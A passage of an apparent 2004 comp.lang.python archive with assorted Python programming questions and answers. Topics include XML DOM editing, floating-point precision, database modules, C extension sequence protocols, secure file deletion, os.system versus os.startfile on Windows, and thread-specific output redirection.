perform the actual service request invocation. These texts could then be intercepted and recorded. 2. Using an interceptor (see thread 'Python interceptor package' of 2004-06-16) to intercept the method invocations of model objects. The interceptor then obtains the name of the object from the user's global namespace (see thread 'Import into specified namespace' of 2004-09-08), analyses the call parameters and reconstructs a textual representation of the invocation (before delegating the invocation to the actual method). Both approaches have advantages and drawbacks, and we probably don't see all implications as yet. Does anyone have experience with such mechanisms, or could point me to relevant literature or (even better) to open source projects employing such mechanisms (preferably in Python)? Thanks in advance Fritz From flavell at ph.gla.ac.uk Wed Sep 1 10:19:14 2004 From: flavell at ph.gla.ac.uk (Alan J. Flavell) Date: Wed, 1 Sep 2004 15:19:14 +0100 Subject: Xah Lee's Unixism In-Reply-To: <4135ce4a$0$19726$61fed72c@news.rcn.com> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <4135ce4a$0$19726$61fed72c@news.rcn.com> Message-ID: <Pine.LNX.4.61.0409011503400.4389@ppepc56.ph.gla.ac.uk> On Wed, 1 Sep 2004 jmfbahciv at aol.com wrote: > You'ld probably get further about who's on first by knowing that > the guy who did OS-8 also did TOPS-10 monitor work. I have here my manual of the "Cambridge Multiple-Access System - User's Reference Manual" (that's Cambridge, England) dated 1968. The file system hierarchy separator is "/". I don't know where -they- got the convention from in the first place, admittedly. ObPDP: the TITAN system had a PDP7 as a peripheral device, sort-of. -- "The disc file has a capacity of about 8 million words". From john_taylor_1973 at yahoo.com Tue Sep 14 10:06:04 2004 From: john_taylor_1973 at yahoo.com (John Taylor) Date: 14 Sep 2004 07:06:04 -0700 Subject: XML Dom question Message-ID: <fc30bff.0409140606.586c14e1@posting.google.com> I am trying to insert a new element and value into a XML Dom structure and am having some trouble. When I read the file in from disk, I have this: <object name='menu__File__Exit' class='wxMenuItem'> <label>E_xit</label> <event class='EVT_MENU'>On__File__Exit</event> </object> When I run this code: w = walker.currentNode if "menu__File__Exit" == name and 0 == needs_value and 0 == test: myNode = doc.createElement("shortcut_key") myNode.setAttribute("modifier","SHIFT") w.appendChild( myNode ) test = 1 I get this result: <object name='menu__File__Exit' class='wxMenuItem'> <label>E_xit</label> <event class='EVT_MENU'>On__File__Exit</event> <shortcut_key modifier='SHIFT'/> </object> This is what I really want: <shortcut_key modifier='SHIFT'/>F4</shortcut_key> Can some one post code on how to do this? I tried creating a new Node (called newNode) and setting the nodeType and NodeValue and the use the appendChild() method, but I keep getting this error: code: myNode.appendChild(newNode) error: AttributeError: Node instance has no attribute 'childNodes' Any help would be greatly appreciated! Thanks, -John From grante at visi.com Tue Sep 21 10:29:11 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 14:29:11 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <4618b20c.0409192034.5408eebb@posting.google.com> <414eea5b$0$62452$a1866201@newsreader.visi.com> <ftttk01elt3afo569bg8uebud837fkjvnu@4ax.com> <414f18a0$0$60640$a1866201@newsreader.visi.com> <smavk0lkls3v8o5d6c4bfpnrka0be0nukj@4ax.com> Message-ID: <41503ab7$0$60645$a1866201@newsreader.visi.com> On 2004-09-21, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote: > On 20 Sep 2004 17:51:28 GMT, Grant Edwards <grante at visi.com> declaimed > the following in comp.lang.python: > >> To get the same range and precision as a 32-bit IEEE, you need >> 4 bytes for mantissa and 2 for the exponent. That's 6 bytes, >> not 300. > > I'll concede that I may have missed something in the thread... > But if one were to propose using a floating BCD for something > with only 7 significant decimal digits just to get decimal > "repeating digits" rather than binary ones... (1/3= > 0.33333333....) I'd be looking for a different proposal. What proposal? I was just pointing out that the poster who claimed that BCD didn't have the range that binary did was wrong. He wasn't comparing BCD vs. binary, he was comparing fixed point vs. floating point. Fixed point BCD and fixed point binary both have the same issues with range. > Add in that an exponent shift is a change of 10, vs a change > of 2 (assuming common normallized binary -- my college machine > used exponents that were powers of 16, meaning a normalized > binary could have up to three 0-bits) -- somehow it just feels > like the powers of two would retain finer precision when doing > addition. For the same storage space, binary FP will have more precision and/or range. BCD doesn't use 40% of the code space. -- Grant Edwards grante Yow! Join the PLUMBER'S at UNION!! visi.com From tzot at sil-tec.gr Tue Sep 28 19:39:51 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 29 Sep 2004 02:39:51 +0300 Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> Message-ID: <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com> On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com (Alex Martelli) might have written: >> Well, not to feed the troll, but there is a few relevant points in it's >> posting. > >(Please, please, please: "its", not "it's"... pretty please...) (Late reply that maybe can make one smile) Alex, you are 99% correct. Leave a 1% chance that Max referred to "julio" as "it"... :) Trolls are genderless! -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From aahz at pythoncraft.com Thu Sep 2 19:02:32 2004 From: aahz at pythoncraft.com (Aahz) Date: Thu, 2 Sep 2004 19:02:32 -0400 Subject: BayPIGgies: September 9, 7:30pm Message-ID: <20040902230232.GA11628@panix.com> The next meeting of BayPIGgies will be Thurs September 9 at 7:30pm. It will feature a presentation about pyscheme by Danny Yoo. Haven't had time to update the web site, so here's Danny's summary: http://hkn.eecs.berkeley.edu/~dyoo/python/pyscheme/ o A quick introduction to Scheme, and how it's similar to Python. o A sketch of how pyscheme works. o Demo of the program itself. o Discussion on a core problem when implementing Scheme in Python: Recursion! - Python's recursion limit. - How to deal with it: bouncing functions on trampolines. o Maybe even continuations, if I haven't lost the audience by then. BayPIGgies meetings are in Stanford, California. For more information and directions, see http://www.baypiggies.net/ Before the meeting, some people will meet at 6pm for dinner in downtown Palo Alto. Ducky Sherwood is handling that; please send RSVPs to ducky at osafoundation.org by 4pm Thurs. Discussion of dinner plans is handled on the BayPIGgies mailing list. Advance notice: The October 14 meeting agenda has not been set. Please send e-mail to baypiggies at baypiggies.net if you want to make a presentation. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "To me vi is Zen. To use vi is to practice zen. Every command is a koan. Profound to the user, unintelligible to the uninitiated. You discover truth everytime you use it." --reddy at lion.austin.ibm.com From me at privacy.net Thu Sep 16 17:20:27 2004 From: me at privacy.net (Dan Sommers) Date: 16 Sep 2004 17:20:27 -0400 Subject: Overview of competing Python modules? References: <111j51ljz6sur$.dlg@thorstenkampe.de> Message-ID: <m2brg57vxg.fsf@unique.fully.qualified.domain.name.yeah.right> On Thu, 16 Sep 2004 10:10:18 +0200, Thorsten Kampe <thorsten at thorstenkampe.de> wrote: > Has anyone ever compiled an overview of competing Python modules? > Something like "there's the standard cvs module and the one from > pycvs.sourceforge.net but most people use cvs (or pycvs) because it's > <whatever>". Try the Python wiki: <http://www.python.org/moin/FrontPage> Also, I've had fairly good results from typing the general topic and a couple of competitors into a single google web or usenet search, e.g. postgresql python psycopg pypgsql HTH, Dan -- Dan Sommers <http://www.tombstonezero.net/dan/> Never play leapfrog with a unicorn. From alanmk at hotmail.com Fri Sep 24 14:11:26 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Fri, 24 Sep 2004 19:11:26 +0100 Subject: DB-SIG wiki/moin? (was Re: Python and Sybase) In-Reply-To: <cpallezisbz.fsf@cabernet.nelson.monkey.org> References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <cpallezisbz.fsf@cabernet.nelson.monkey.org> Message-ID: <cj1no3$e99$1@kermit.esat.net> [David Rysdam] >>What module is most recommended for accessing Sybase from Python? >>This one: http://www.object-craft.com.au/projects/sybase/sybase/? [Nelson Minar] > While we're here, is there a free module for accessing SQLServer > from Python? Last I checked this Sybase driver was the only option. [Josh Close] > Pymssql is, but I don't think it's DB API-2.0 compliant. [Moof] > Pywin32 (formerly win32all) has an odbc module which is DB-API 1.0 > compliant. > > There's also adodbapi, which is DB-API 2.0 compliant. > > I haven't used the latter enough to work out if it's reasonably > useful. Idon't get on with the former very well, though. > > Oh, and non-free there's mxODBC, which also works under unix. > > Also from unix someone mentioned a module based on ODBTP, which > hasn't yet surfaced out in the wild. Thanks to Josh and Moof for pointing out the other alternatives for connecting to Sybase and MS-SQLServer. When looking at the DB-SIG web page, although I can see a list of database modules there that support the DB-API in its different versions and levels, I can see no easy way for that list to be updated with the above sort of invaluable information. Might it be a good idea to make at least part of the DB-SIG web page a wiki/moin? A moin works well in the web framework/templating arena, so perhaps it is also suitable for database modules? Regards, Alan. From spam at nimblegen.com Tue Sep 21 15:39:43 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Tue, 21 Sep 2004 14:39:43 -0500 Subject: Xah Lee's Unixism In-Reply-To: <41504292.C2BE622D@yahoo.com> References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <Zdm0d.88398$S55.30393@clgrps12> <chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com> <r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com> <tqmhdpwqf8s.fsf@drizzle.com> <s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com> <414F156C.7C28AEFB@yahoo.com> <cipaid$jb6$1@grandcanyon.binc.net> <41504292.C2BE622D@yahoo.com> Message-ID: <ciq00m$op6$1@grandcanyon.binc.net> CBFalconer wrote: > Chuck Dillon wrote: > >>CBFalconer wrote: >> > > ... snip ... > >>>Then why does he ignore them, as evidenced by his non-response to >>>the July report on the future of Iraq, which was kept secret until >>>a few days ago? >> >>You have no basis from which to judge how or whether there was a >>response. Just because you're not in the loop doesn't mean there >>is no loop. > > > On the contrary, I have a basis. GWB has continued to bray about > "staying the course" since the report was available to him. > Which of course is a basis of nothing. It appears you consider reports from intelligence reliable enough for the administration to take action with a sense of urgency. So you must support actions taken last year based on similar intelligence right? You also seem to support delegating control to whomever writes a sufficiently gloomy report. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From Scott.Daniels at Acm.Org Mon Sep 13 16:38:51 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Mon, 13 Sep 2004 13:38:51 -0700 Subject: Find first in sequence (simple question) In-Reply-To: <mailman.3255.1095103389.5135.python-list@python.org> References: <mailman.3255.1095103389.5135.python-list@python.org> Message-ID: <41460a30$1@nntp0.pdx.net> Neal D. Becker wrote: > What is an efficient way to find the first element in a sequence meeting > some condition? > > For example, the first number > x in a list of numbers. > > for element in sequence: if element > x: break else: raise ValueError, 'nothing in %r > %r' % (sequence, x) # Now element is the first such element. If you need to get the index: for index, element in enumerate(sequence): if element > x: break else: raise ValueError, 'nothing in %r > %r' % (sequence, x) # Now element is the first such element (sequence[index]). -Scott David Daniels Scott.Daniels at Acm.Org From Scott.Daniels at Acm.Org Mon Sep 13 15:07:05 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Mon, 13 Sep 2004 12:07:05 -0700 Subject: unittest.TestCase, lambda and __getitem__ In-Reply-To: <roy-3F3E48.09514613092004@reader1.panix.com> References: <mailman.3214.1095049956.5135.python-list@python.org> <roy-3F3E48.09514613092004@reader1.panix.com> Message-ID: <4145f4ae$1@nntp0.pdx.net> Roy Smith wrote: >.... I think you need to just create a little function and call it: > > def tryIndex (object, index): > return obj [index] For python 2.4 and beyond, the function is called operator.getitem, so I'd call it getitem. -Scott David Daniels Scott.Daniels at Acm.Org From grante at visi.com Tue Sep 14 15:03:43 2004 From: grante at visi.com (Grant Edwards) Date: 14 Sep 2004 19:03:43 GMT Subject: newbie sending hex values over UDP socket References: <e2491a75.0409091744.53fab172@posting.google.com> <chr22o$7ra$1@news.service.uci.edu> <e2491a75.0409100843.79a49a7a@posting.google.com> <QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca> <e2491a75.0409110433.2e9c00c5@posting.google.com> <e2491a75.0409141057.3725fe14@posting.google.com> Message-ID: <4147408f$0$65608$a1866201@newsreader.visi.com> On 2004-09-14, Bill Seitz <fluxent at yahoo.com> wrote: >> Excellent - now how about calculating a parity-check byte? > > Here's the definition of the parity byte: > > The column parity is one (1) byte. The eight bits of data in this > byte re?flect the odd parity of all corresponding bits in the block; > i.e. bit 8 of the Column Parity byte is the odd parity of all bit 8's > in the entire block. > Column parity will be calculated by the sender as follows: > > (a) Begin with the value 255. > > (b) Exclusive OR the current value with the value of the first (or > next) data byte beginning with the header byte. Repeat until all > bytes up to, but not includ?ing, the parity byte have been used. > > (c) Send the result in the column parity position. # assume "s" is the data for which we want a parity byte parityByte = chr(reduce(operator.__xor__,map(ord,s))) -- Grant Edwards grante Yow! NOW, I'm supposed at to SCRAMBLE two, and HOLD visi.com th' MAYO!! From grante at visi.com Thu Sep 2 19:59:41 2004 From: grante at visi.com (Grant Edwards) Date: 02 Sep 2004 23:59:41 GMT Subject: It's in Python. It just _works_! Message-ID: <4137b3ed$0$65570$a1866201@newsreader.visi.com> A few months back I wrote a sort of a strip-chart recorder program that talks DeviceNet to a measurement widget and plots the received data in more-or-less real time using the Gnuplot module. It was written on Linux system with absolutely no thought given to portability. It's nothing big (about 650 lines of code). Today, just for fun, I decide to try to run it under Win32. After installing the Numeric and Gnuplot modules, I only had to make 1-line changes to two places in the code, and it started working. Apparently, the file descriptor you get from a socket object under Win32 can't be used with os.read() and os.write()? I couldn't find anywhere in the docs that said so, but I sure couldn't get it to work. At least not under WinMe. -- Grant Edwards grante Yow! RELAX!!... This at is gonna be a HEALING visi.com EXPERIENCE!! Besides, I work for DING DONGS! From HBOSTIC at santeecooper.com Tue Sep 7 12:02:22 2004 From: HBOSTIC at santeecooper.com (Heuguette Bostic) Date: Tue, 07 Sep 2004 12:02:22 -0400 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F Message-ID: <s13da354.044@gwia.santeecooper.com> I am attempting to compile Python 2-3.4 on Tru64 UNIX V4.0F. Whenever I issue the make command, the following errors are output: -pthread -ieee -std -Olimit 1500 -DNDEBUG -O -I. -I./Include -DPy_BUILD_CORE -c ./Modules/posixmodule.c -o Modules/posixmodule.o cc: Warning: ./Modules/posixmodule.c, line 3007: "return" is an invalid preprocessor directive, and is being ignored. (baddirective) # return PyInt_FromLong((long)getpgrp(0)); --------^ cc: Error: ./Modules/posixmodule.c, line 3025: Missing ")". (norightparen) # if (setpgrp(0, 0) < 0) -------------------^ cc: Warning: ./Modules/posixmodule.c, line 3016: Missing #endif directive. (noendif) #ifdef HAVE_SETPGRP -^ cc: Info: ./Include/objimpl.h, line 255: In this declaration, type long double has the same representation as type double on this platform. (longdoublenyi) long double dummy; /* force worst-case alignment */ --------^ *** Exit 1 Stop. Does anyone have any suggestions to help me resolve this problem? Any help would be appreciated. Sam ____________________ Confidentiality Notice: This message is intended exclusively for the individual or entity to which it is addressed. This communication may contain information that is proprietary, privileged, confidential or otherwise legally exempt from disclosure. If you are not the named addressee, you are not authorized to read, print, retain, copy or disseminate this message or any part of it. If you have received this message in error, please notify the sender immediately either by phone or reply to this e-mail, and delete all copies of this message. From onurb at xiludom.gro Mon Sep 20 18:39:47 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:39:47 +0200 Subject: python is going to die! =( In-Reply-To: <eviltofu-30B89F.00245220092004@news.telus.net> References: <mailman.3520.1095631846.5135.python-list@python.org> <Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com> <1095635849.649169.161680@k26g2000oda.googlegroups.com> <eviltofu-30B89F.00245220092004@news.telus.net> Message-ID: <414f5dd7$0$20462$626a14ce@news.free.fr> Jerome Chan a ?crit : (snip) > I would love it if Python had an ide like Smalltalk's. I don't know if the project is still alive, but PythonCard had a strong Smalltalk-like smell... From ed at leafe.com Thu Sep 23 22:25:57 2004 From: ed at leafe.com (Ed Leafe) Date: Thu, 23 Sep 2004 22:25:57 -0400 Subject: up with PyGUI! In-Reply-To: <a8623416.0409231631.4c993fb7@posting.google.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <a8623416.0409231631.4c993fb7@posting.google.com> Message-ID: <1168EC9B-0DD1-11D9-8C15-003065B11E84@leafe.com> On Sep 23, 2004, at 8:31 PM, Corey Coughlin wrote: > Alright, here's the question I'm going to start asking whenever anyone > starts promoting a new gui for python. Is there an nice gui-driven > gui creation tool to go with this? I realize that you're really happy > with the API and all, but if there were a nice gui maker along with a > nice python ide to go along with it, you'd probably make a lot more > converts. I agree 100%. One of the planned development projects for Dabo is a true GUI designer. We have several ideas and a few proof-of-concept attempts, but the major focus on the GUI designer will be after the 0.5 release. The plan is to create a solid basis before adding the exterior goodies. ;-) ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From dit at nerdshack.com Wed Sep 22 22:12:06 2004 From: dit at nerdshack.com (dit) Date: Thu, 23 Sep 2004 12:12:06 +1000 Subject: Newby Project Message-ID: <415230f9@dnews.tpgi.com.au> I want to start something small, like a learning program. I've been looking and learning python for about 4 months; and I think that I have the basics under my belt... is it worth trying my own project, or is it better to continue with the py tutes? Also if I was to start, how do I pose myself the question of what am I actually trying to achieve / what am I trying to make? any comments and suggestions welcome. //dit\\\ From rschroev_nospam_ml at fastmail.fm Mon Sep 6 16:40:50 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Mon, 06 Sep 2004 20:40:50 GMT Subject: Secure delete with python In-Reply-To: <du74qmb9mzs.fsf@amadeus.cc.tut.fi> References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com> <chhoae$5pp$1@online.de> <chhoij$62d$1@online.de> <du74qmb9mzs.fsf@amadeus.cc.tut.fi> Message-ID: <mX3%c.238611$zd5.12397685@phobos.telenet-ops.be> Ville Vainio wrote: >>>>>>"Benjamin" == Benjamin Niemann <b.niemann at betternet.de> writes: > > > >> fp = open(path, "wb") > >> for i in range(os.path.getsize(path)): > >> fp.write("*") > >> fp.close() > >> os.unlink(path) > > Benjamin> and there is no guarantee that this actually overwrites > Benjamin> the old file. The filesystem may choose to write the new > Benjamin> content at another location of the disk, leaving the > Benjamin> original data untouched. > > Seriously? What OSen are known for doing this? I'd had thought that if > the file size is unchanged, the data is always written over the old > data... VMS, I believe, has a versioning system built into the file system. Each time a file is saved, a new version is created while the old versions are still there. All from hearsay though, I have never used or seen VMS myself. -- "Codito ergo sum" Roel Schroeven From skip at pobox.com Tue Sep 14 14:11:55 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 14 Sep 2004 13:11:55 -0500 Subject: up with PyGUI! In-Reply-To: <m3isag68uh.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <ci79v3$rh$1@atlantis.news.tpi.pl> <m3isag68uh.fsf@g2ctech.com> Message-ID: <16711.13419.327124.217356@montanaro.dyndns.org> Jorge> Yes, I do, but I don't know how it is supposed to look like from Jorge> this toolit perspective... If I wanted everything exactly like Jorge> GTK2, I'd probably use it. That's not what PyGUI is about. It's about a better, standard API for creating GUI apps. Skip From bokr at oz.net Tue Sep 28 19:43:05 2004 From: bokr at oz.net (Bengt Richter) Date: 28 Sep 2004 23:43:05 GMT Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> <4159b868$0$99417$a1866201@newsreader.visi.com> Message-ID: <cjcsu9$tda$0$216.39.172.122@theriver.com> On 28 Sep 2004 19:15:52 GMT, Grant Edwards <grante at visi.com> wrote: >On 2004-09-28, Lad <export at hope.cz> wrote: > >> Yes, I installed all files( I think) because everything else >> works. Only os.system does NOT. I use os.system to open txt >> file.I use it like os.system('Myfile.txt') > >What makes you think that should work? > >Is Myfile.txt an executable file? Under Win32, don't >executble file's names usually end in .exe? It's not a matter of _being_ executable, it's a matter of having an executable _associated with_ the extension. Typically notepad.exe is associated with .txt (via an intermediate association with a generic file type name that in turn is associated with the actual executable): ---- [16:30] C:\pywk\junk>assoc .txt .txt=txtfile [16:30] C:\pywk\junk>ftype txtfile txtfile=C:\WINNT\System32\NOTEPAD.EXE %1 ---- >> When I use os.startfile instead of os.system it works well. > >Then why not use os.startfile()? It's the correct way to start >the program that is supposed to handle .txt files. One difference is that os.system will wait for the completion of what it starts, but os.startfile will start a new process to do it, and return immediately. I would try it with full absolute paths to everything the in the os.system call. If that works, you can look for why the environment is different. BTW, if you execute via start menu or double clicking a desktop icon, the associated .lnk may specify the starting directory. If that is different from current directory, bare names may be looked for in unexpected place and not be found (or worse, a file of the same name may be found, but be the wrong one). Right click on the icon and look at the properties. Or right click the task bar and chase properties of start menus that way, or start>settings>taskbar> etc. BTW2, if you want to type in a file name without extension, as you can with .exe and .bat etc., it implies a priority choice if e.g. both .exe and .bat exist in the same path directory. You can influence this by the PATHEXT environment variable. Go to a console window and type help ftype|more and also help assoc|more for additional info BTW3, beware of changing .exe association!! I was aghast to find (some time ago) that NS4.5 let me change that association via its file association option interface. It was pretty squirrely to get back to normal. No console commands would work. (IIRC I finally used start menu>run>browse to find and execute regedit32 and repaired it that way, after booting in last known good to see what the registry was supposed to be for .exe). Very anxious moments there ;-) Regards, Bengt Richter From greg at cosc.canterbury.ac.nz Sun Sep 5 06:34:25 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Sun, 05 Sep 2004 22:34:25 +1200 Subject: Sequence Protocol, assign item References: <ch81gl$avb$1@schleim.qwe.de> <m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk> <cha6sp$bgb$1@schleim.qwe.de> Message-ID: <413AEBB1.1050007@cosc.canterbury.ac.nz> Torsten Mohr wrote: > static int pytypeseq_ass_item(PyObject* s, int nr, PyObject* val) { > int v; > pytype_obj* self = (pytype_obj*)s; > > if(!PyArg_ParseTuple(val, "i", &v)) { You don't want to use PyArg_ParseTuple here, because 'val' isn't wrapped in a tuple, it's the bare value of the RHS. Instead you want v = PyInt_AsLong(val); if (PyErr_Occurred()) return -1; Also note the -1 return value (not 0) to signal an error. > In part A some INCREF/DECREF stuff is done, but i think i don't need > this as the PyObjects are only temporarily. That's correct in this case. > Exception exceptions.SystemError: 'new style getargs format but argument \ > is not a tuple' in 'garbage collection' ignored That's because you were passing PyArg_ParseTuple something that wasn't a tuple. (The error message talks about argument formats because PyArg_ParseTuple is intended for processing argument lists, and in normal use it can't ever get passed anything other than a tuple.) Greg From aleaxit at yahoo.com Thu Sep 23 17:24:17 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 23:24:17 +0200 Subject: Python in a Nutshell for Python 2.4 References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <IIWdnYRnRpDme8_cRVn-rg@megapath.net> Message-ID: <1gkla2y.3t28kus10dl9N%aleaxit@yahoo.com> R Baumann <rynt at 9yahoo.com> wrote: ... > > _after_, as RH says, the 2nd edition of the Cookbook (we're still > > targeting March 2004 for that one). > > I think you've missed your target date! ;-) Ooops -- an off-by-one error, I suspect. Make it March 2005...!-) Alex From aleaxit at yahoo.com Thu Sep 16 17:23:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 23:23:29 +0200 Subject: thread specific sys.stdout? References: <opsedyrils6yt6e7@news.cisco.com> <ciabc0$seb$00$2@news.t-online.com> Message-ID: <1gk8b9h.974pyyn6fgceN%aleaxit@yahoo.com> Diez B. Roggisch <deetsNOSPAM at web.de> wrote: > aurora wrote: > > > This may sound a little crazy. I capture the output of one class by > > redirecting the sys.stdout. However the is another threading running at > > the same time and occasionaly it output some messages to the redirected > > sys.stdout irreleveant to the output I want to capture. Is there a way to > > redirect output specific to some threads? > > You could replace sys.stdout by a class that splits the written text > depending on the current thread. It might look roughly like this: > > class ThreadPrinter: > def __init__(self): > _.fhs = {} > > def write(self, value): > f = _.fhs.get(threading.currentThread(), > open(get_some_nice_file_name(), "w") > f.write(value) > _.fhs[threading.currentThread()] = f Not a bad general idea, but you need a better implementation of the "thread-local storage" design pattern than just a bare dictionary like this 'fhs' dict. In Python 2.4, threading.local gives you such an implementation. If you need to work in Python 2.3, it's more work, but there are cookbook recipes (on Activestate's site) which can help. Alex From fee at fee.com Fri Sep 24 15:57:38 2004 From: fee at fee.com (fee) Date: Fri, 24 Sep 2004 12:57:38 -0700 Subject: Drawing sound In-Reply-To: <ttNMvZB0zGVBFwRQ@[127.0.0.1]> References: <ttNMvZB0zGVBFwRQ@[127.0.0.1]> Message-ID: <1096055782.f7xnAHRss5p8DMQfTTB3Xg@teranews> Chris wrote: > I want a program that can "draw" sound. > > Imagine drawing a graph of frequency against time - > and then being able to play it over the computer speakers. > > > Can that be done in Python? > Or in any other language? Using programs to create sound through a soundcard is a quite popular activity. What you describe may be best done with the program csound (http://www.csounds.com/). If you want to do it with python, you might try looking here first: http://docs.python.org/lib/mmedia.html Tobiah From ptmcg at austin.rr._bogus_.com Sun Sep 5 22:19:39 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 06 Sep 2004 02:19:39 GMT Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <%OP_c.36237$Xi.555@fe1.texas.rr.com> "ben" <santoshamb at yahoo.com> wrote in message news:56d498d9.0409051725.1c7d3258 at posting.google.com... > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. > > Does anybody know a good way of view the raw http? > > Thanks for your help, > > Ben Try HTTPLook at www.httpsniffer.com . We've used it some on our current project, to monitor SOAP message contents. I don't know about cookie viewing, but it's free for 15-day (full featured) trial, less than $30 if you want to keep it. -- Paul From donn at drizzle.com Fri Sep 3 01:28:58 2004 From: donn at drizzle.com (Donn Cave) Date: Fri, 03 Sep 2004 05:28:58 -0000 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <mailman.2783.1094152072.5135.python-list@python.org> <M53NBls/KL8E089yn@the-wire.com> <87acw86she.fsf@uwo.ca> Message-ID: <1094189336.822541@yasure> Quoth Dan Christensen <jdc at uwo.ca>: | I'm not sure I buy the arguments against an index operation for | tuples. For example, suppose we were conducting a vote about | something, hmm, let's say decorator syntax. <wink> And suppose that | each person is allowed three distinct votes, ranked in order, with the | first vote getting 3 points, the second 2, and the third 1. We might | store the votes in a database, whose rows would naturally be tuples | like | | ('J2', 'C64', 'X11') | | Now suppose we want to calculate the total number of points for | proposal X, but don't need to compute the totals for the other | choices. Code like the following would be a pretty natural | approach: | | for row in rows: | try: | points += 3-row.index(X) | except: | pass | | I realize that there are different ways to code it, but most | are simply reimplementations of the proposed index function. The algorithm is fine, it's the choice of sequence that's debatable. Once you get index() for this application, next you'll want append(). After all, there's no apparent reason that at any time there must be exactly 3 votes, so what if you want to collect data in several passes - for person, vote in data: try: row = votes[person] except KeyError: row = [] votes[person] = row if len(row) < 3: row.append(vote) Your application is really suited for a list or dictionary. It can, conceptually, support mutations like insert, delete and append, with fairly obvious semantics in terms of your application. I mean, if you delete the first item, then the second item becomes the 3 point vote, etc. (In an application where that's not the case, then you probably want a dictionary, where deleting whatever item has no effect on the others.) Compare with the mtime tuple returned by time.localtime() - minus the first item, about the most you can say is it's an mtime minus its first item. No one is saying you must use a list then. Do whatever you want! But no one is forcing you to use a tuple, either (in this hypothetical application), and if you need an index function, you know where to get it. Donn Cave, donn at drizzle.com From tmohr at s.netic.de Thu Sep 2 16:57:57 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Thu, 02 Sep 2004 22:57:57 +0200 Subject: Sequence Protocol, assign item Message-ID: <ch81gl$avb$1@schleim.qwe.de> Hi everybody, at the moment i try to write an extension module in C and i implement the sequence protocol for the data type i created. Reading values works fine. But assigning a value does not work correctly, has anybody got an example for that? The function type i have to create is intobjargproc, so i need to return an "int". Returning 0 or 1 does not seem to work. What can the return value be, what can i return her in case of failure and in case od success? I don't use any INCREF or DECREF inside my function, do i need to do that for some parameters? The exact error message i don't have available at the moment, i'll bring that one tomorrow, but it looks to me that at the cleanup at the end of the script an exception is thrown somewhere. Best regards, Torsten. From bokr at oz.net Sun Sep 19 20:35:33 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 00:35:33 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <7xwtyqsmvu.fsf@ruckus.brouhaha.com> <cijurc$4gd$02$1@news.t-online.com> Message-ID: 